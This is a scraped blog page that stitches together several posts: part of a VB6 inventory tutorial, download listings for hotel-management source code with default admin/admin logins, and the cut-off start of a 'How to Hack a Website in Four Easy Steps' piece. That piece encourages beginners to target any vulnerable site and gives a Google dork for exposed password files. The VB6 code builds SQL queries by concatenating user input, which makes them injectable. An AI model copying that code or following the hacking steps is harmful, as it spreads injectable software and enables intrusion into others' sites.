<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">In our example, we insert two ADO controls and name them AdoInventory and AdoStock respectively. The first is to deal with data in the Inventory table and the second is to deal with data in the Stock table. We also insert two DataGrid controls and named them DataInventory and DataStock respectively. They are use to display the data to the user. Besides, we insert one FlexiGrid control to store the data and also to print out the data by connecting it to MS Excel spreadsheet.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Simsun; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<b><span style="font-family: Verdana;">Step 3 : Writing the Code</span></b></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">After inserting the necessary controls, it is time to write code to coordinate the controls and to manipulate the data. The first most important code for our program is to connect the ADO controls to the database when the form is loaded. The code is as shown below:</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">Private Sub Form_Load()<br />
<span style="color: green;">'To connect AdoInventory to MS Access database inventory_br.mdb<br />
</span>AdoInventory.ConnectionString = " Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\Documents and Settings\Voon Kiong Liew\My Documents\Liew Folder\Bunga Raya\inventory_br.mdb;Persist Security Info=False"<br />
AdoInventory.RecordSource = "SELECT * FROM Inventory"<br />
AdoInventory.Refresh<br />
Set DataInventory.DataSource = AdoInventory<br />
<br />
<span style="color: green;">'To connect AdoStock to MS Access database inventory_br.mdb</span><br />
AdoStock.ConnectionString = " Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\Documents and Settings\Voon Kiong Liew\My Documents\Liew Folder\Bunga Raya\inventory_br.mdb;Persist Security Info=False"<br />
AdoStock.RecordSource = "SELECT * FROM Stock"<br />
AdoStock.Refresh<br />
Set DataStock.DataSource = AdoStock</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">Notice that we use SQL syntax SELECT * FROM to select all the data from the Inventory table and the stock table. SQL is a powerful language that is used to manipulate databases.</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">The next code is to let user enter data into the DataInventory table and double click to update the data as well as to calculate the total cost. It also add brands and categories into the brand combo box and the category combo box respectively .The code is as follows:</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">Private Sub DataInventory_DblClick()<br />
If AdoInventory.Recordset.Fields("CPU") <> "" Then<br />
<br />
Dim TotalCost As Integer<br />
TotalCost = Val(AdoInventory.Recordset.Fields("CPU")) * Val(AdoInventory.Recordset.Fields("Stock"))<br />
AdoInventory.Recordset.Fields("TCost") = Str(TotalCost)<br />
Else<br />
<br />
AdoInventory.Recordset.Fields("TCost") = ""<br />
End If<br />
<span style="color: green;">'To load all brands into comboBrand</span><br />
<span style="color: green;">'To load all Categories into comboCategory</span><br />
<br />
Do Until AdoInventory.Recordset.EOF<br />
ReDim B(i), C(j) As String<br />
<br />
B(i) = AdoInventory.Recordset.Fields("Brand")<br />
C(j) = AdoInventory.Recordset.Fields("Category")<br />
<br />
ComboBrand.AddItem B(i)<br />
ComboCategory.AddItem C(j)<br />
<br />
AdoInventory.Recordset.MoveNext<br />
<br />
Loop<br />
AdoInventory.Recordset.MoveFirst<br />
End Sub<br />
</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">We also need to write the code to search for the items once they are entered into the inventory table. The code is as follows:</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"><span style="color: green;">'Search for items using SQL query<br />
</span><br />
Dim SearchString1, SearchString2 As String<br />
SearchString1 = ComboBrand.Text<br />
SearchString2 = ComboCategory.Text<br />
<br />
If ComboBrand.Text <> "All Brands" And ComboCategory.Text <> "All Categories" Then<br />
<br />
AdoInventory.RecordSource = "SELECT * FROM Inventory WHERE Brand='" & SearchString1 & "' and Category='" & SearchString2 & "'"<br />
<br />
ElseIf ComboBrand.Text = "All Brands" And ComboCategory.Text <> "All Categories" Then<br />
<br />
AdoInventory.RecordSource = "SELECT * FROM Inventory WHERE Category='" & SearchString2 & "'"<br />
<br />
ElseIf ComboBrand.Text <> "All Brands" And ComboCategory.Text = "All Categories" Then<br />
AdoInventory.RecordSource = "SELECT * FROM Inventory WHERE Brand='" & SearchString1 & "'"<br />
<br />
ElseIf ComboBrand.Text = "All Brands" And ComboCategory.Text = "All Categories" Then<br />
<br />
AdoInventory.RecordSource = "SELECT * FROM Inventory"<br />
<br />
End If<br />
AdoInventory.Refresh</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Verdana; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;">Next, we write code to entering new item in DataStock table. The code is as follows:</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"><span style="color: green;">'To add items to Ado Stock</span><br />
AdoStock.Recordset.AddNew<br />
AdoStock.Recordset.Fields("Date") = Format(Date, "dd/mm/yyyy")<br />
AdoStock.Recordset.Fields("Category") = AdoInventory.Recordset.Fields("Category")<br />
AdoStock.Recordset.Fields("Brand") = AdoInventory.Recordset.Fields("Brand")<br />
AdoStock.Recordset.Fields("Item Description") = AdoInventory.Recordset.Fields("Item Description")<br />
AdoStock.Recordset.Fields("Model Number") = AdoInventory.Recordset.Fields("Model Number")<br />
AdoStock.Recordset.Fields("CPU") = AdoInventory.Recordset.Fields("CPU")<br />
AdoStock.Recordset.Update</span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-family: Verdana; font-size: x-small;">*Please note that AddNew is to allow adding new data and Update is to save data.</span><span style="font-size: x-small;"></span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"><br /></span></div>
<div style="-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-family: Arial; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
<span style="font-size: x-small;"><br /></span></div>
</div>
<a href="https://payhip.com/b/vgAQ" imageanchor="1" ><img border="0" src="http://1.bp.blogspot.com/-HqZYbrShwi8/UZtHGitZiOI/AAAAAAAABAE/AxFezi4Axi4/s320/download.jpg" /></a>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-56679909186324843402013-11-06T23:50:00.001-08:002013-11-06T23:50:33.376-08:00Online Hotel Reservation System php source code<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="field field-name-body field-type-text-with-summary field-label-hidden">
<div class="field-items">
<div class="field-item even">
<br />
<br />
<br />
<h1 class="title" id="page-title">
Online Hotel Reservation System</h1>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-WMnyOuBD2uo/UntBn2Z-ZxI/AAAAAAAABOw/8-GjkexX_NE/s1600/screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="184" src="http://1.bp.blogspot.com/-WMnyOuBD2uo/UntBn2Z-ZxI/AAAAAAAABOw/8-GjkexX_NE/s320/screenshot.png" width="320" /></a></div>
<br />
In
this source code you can learn on how create an online reservation
system with online payment. In this code you can learn also to create
source code in making online payment, room inventory, add edit and
delete records using php, error trapping using php and javascripts,
textbox that accept numbers only, check room availability, and other
feature that can be found in this complete application. Hope this code
will help you, Thank you <br />
Database name: argie_tamera<br />
log-in the admin mode using the following:<br />
username: admin<br />
password: admin<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://payhip.com/b/sx4i" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-FpjfltrLL7g/UZtGWE8JJpI/AAAAAAAAA_4/o6yqEkw_XaQ/s1600/download.jpg" /></a></div>
<br />
</div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com1tag:blogger.com,1999:blog-6934446466784817478.post-90103536082043077952013-10-25T03:35:00.001-07:002013-10-25T03:35:52.444-07:00Hotel Management Java project<div dir="ltr" style="text-align: left;" trbidi="on">
<h2 style="text-align: justify;">
<span style="color: #ff6600; font-family: georgia,palatino; font-size: medium;">Hotel Management project features</span></h2>
<div style="text-align: justify;">
<ul>
<li><span style="font-family: georgia,palatino; font-size: small;">report generation </span></li>
<li><span style="font-family: georgia,palatino; font-size: small;">password protected </span></li>
<li><span style="font-family: georgia,palatino; font-size: small;">hotel’s room information </span></li>
<li><span style="font-family: georgia,palatino; font-size: small;">billing facility </span></li>
<li><span style="font-family: georgia,palatino; font-size: small;">different login levels </span></li>
</ul>
</div>
<div style="text-align: justify;">
<span style="font-family: georgia,palatino; font-size: small;">Hotel using the computer with the work of <b>HOTEL MANAGEMENT SYSTEM</b>.
The important thing in our mind is that we should concentrate our
project work on a subject that is easy to understand and is according to
our daily requirement. By keeping this in mind, the subject chosen by
us is hotel management.In the present time there is a great rush in
hotels, as these have become necessity for middle and upper class of the
society.People travel a lot, stay in hotels, goes to the hotels for
functions,meeting and refreshment. Our project is developed keeping in
mind the general needs of the customers when he goes to the hospital. An
important uniqueness about the described Hotel’s restaurants and bar
are available to only those customers who have already booked room or
hall in hospital. </span></div>
<div style="text-align: justify;">
<span style="font-family: georgia,palatino; font-size: small;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-_Dm2nnLQ4Og/UmpHFo3NzNI/AAAAAAAABNo/2XD5cniIN-8/s1600/p.txt.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="139" src="http://4.bp.blogspot.com/-_Dm2nnLQ4Og/UmpHFo3NzNI/AAAAAAAABNo/2XD5cniIN-8/s320/p.txt.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://adf.ly/YAld7" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s320/download.png" width="320" /></a></div>
<div style="text-align: justify;">
<span style="font-family: georgia,palatino; font-size: small;"><br /></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-11758463279980191532013-10-25T03:17:00.000-07:002013-10-25T03:17:20.133-07:00Simple Hotel Management System Using VB.Net<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="field field-name-field-language field-type-taxonomy-term-reference field-label-inline clearfix">
<div class="field-item even">
Language: Visual Basic .NET</div>
<div class="field-item even">
</div>
<div class="field-item even">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Khc2-PZAcJk/Umo9vIDXjyI/AAAAAAAABNY/14RnRChtmrc/s1600/ss.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="172" src="http://4.bp.blogspot.com/-Khc2-PZAcJk/Umo9vIDXjyI/AAAAAAAABNY/14RnRChtmrc/s320/ss.png" width="320" /></a></div>
</div>
<div class="field-item even">
<div class="field field-name-body field-type-text-with-summary field-label-hidden">
<div class="field-items">
<div class="field-item even">
It has the ff. features:<br />
Guest Checkin, Checkout, Reservation<br />
Add, Update, Delete Guest<br />
Add, Update, Delete Room<br />
Any question, please send me an email at neiljun_rockz@yahoo.com<br />
Sorry, i forgot ! by the way:<br />
Username: neilz<br />
Password: neilz<br />
</div>
</div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://adf.ly/YAiJu" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-27qKAk9DfwM/UlUtluO3lNI/AAAAAAAABNI/7nagn0AesLg/s1600/download.png" /></a></div>
</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-68740655650174423302013-10-10T03:24:00.000-07:002013-10-10T03:24:08.403-07:00How to Hack a Website in Four Easy Steps <div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<h3 class="post-title entry-title" itemprop="name">
How to Hack a Website in Four Easy Steps
</h3>
<div class="content1" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><i style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Every wondered how Anonymous and other hacktivists manage to steal the data or crash the servers of websites belonging to some of the world biggest organisations? Thanks to freely available online tools, hacking is no long the <a href="http://www.ibtimes.co.uk/articles/332545/20120424/hacking-tools-freely-available-online.htm" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">preserve of geeks</a>, so we've decided to show you how easy it is to do, in just four easy steps.</i></b></div>
</div>
<div class="content2" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<img alt="" class="imgBox magnify" height="253" id="267588" src="http://img.ibtimes.com/www/data/images/full/2012/04/26/267588.jpg" style="border-bottom-color: rgb(194, 194, 194); border-bottom-style: solid; border-color: initial; border-image: initial; border-left-color: rgb(194, 194, 194); border-left-style: solid; border-right-color: rgb(194, 194, 194); border-right-style: solid; border-top-color: rgb(194, 194, 194); border-top-style: solid; border-width: initial; clear: both; display: block; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 15px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 2px; padding-left: 2px; padding-right: 2px; padding-top: 2px; text-align: justify; vertical-align: middle;" title="How to hack a website" width="400" /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Step 1: Identify your target</b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<b style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><br /></b></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
While <a href="http://www.ibtimes.co.uk/articles/331145/20120420/who-anonymous.htm" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">Anonymous</a> and other online hacktivists may choose their targets in order to protest against perceived wrong-doing, for a beginner wanting to get the taste of success with their first hack, the best thing to do is to identify a any website which has a vulnerability.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Recently a hacker posted a list of 5,000 websites online which were vulnerable to attack. How did he/she identify these websites? Well, the key to creating a list of websites which are likely to be more open to attack, is to carry out a search for what is called a Google Dork.</div>
</div>
<div class="content3" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<div style="text-align: justify;">
<span style="color: #003366; font-family: Arial, Helvetica, sans-serif; font-size: 12px; font-weight: bold; line-height: 17px;"><br /></span></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<a href="http://www.quora.com/What-is-google-dorking-and-what-is-the-defense-against-this-problem" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">Google Dorking</a>, also known as Google Hacking, enables you find sensitive data or evidence of vulnerabilities by querying a search engine like Google or Bing. It basically allows you to enter a search term into Google and find websites which may have these vulnerabilities somewhere on the site.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
Don't worry about needing technical expertise to know what to look for. Kind-hearted hackers have produced <a href="http://johnny.ihackstuff.com/ghdb/" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;" target="_blank">lists of these Google Dorks</a>, neatly categorised into the type of vulnerability you are looking for. Looking for files containing passwords? There's got a Dork for that. Login credentials? There's a Dork for that.</div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
<br /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<img alt="" class="imgBox magnify" height="336" id="267589" src="http://img.ibtimes.com/www/data/images/full/2012/04/26/267589.png" style="border-bottom-color: rgb(194, 194, 194); border-bottom-style: solid; border-color: initial; border-image: initial; border-left-color: rgb(194, 194, 194); border-left-style: solid; border-right-color: rgb(194, 194, 194); border-right-style: solid; border-top-color: rgb(194, 194, 194); border-top-style: solid; border-width: initial; clear: both; display: block; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 15px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 2px; padding-left: 2px; padding-right: 2px; padding-top: 2px; text-align: justify; vertical-align: middle;" title="How to Hack a Website" width="400" /></div>
<div style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px; list-style-image: initial; list-style-position: initial; list-style-type: none; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify;">
For example, if you are looking for files stored on websites containing passwords, then a sample search query we found openly listed on one indexing site was: <i style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="https://www.google.com/search?sourceid=navclient&q=intitle%3A%22Index+of%22+master.passwd" style="border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-top-style: none; border-top-width: 0px; color: black; list-style-image: initial; list-style-position: initial; list-style-type: none; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: none; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none;">intitle:"Index of" 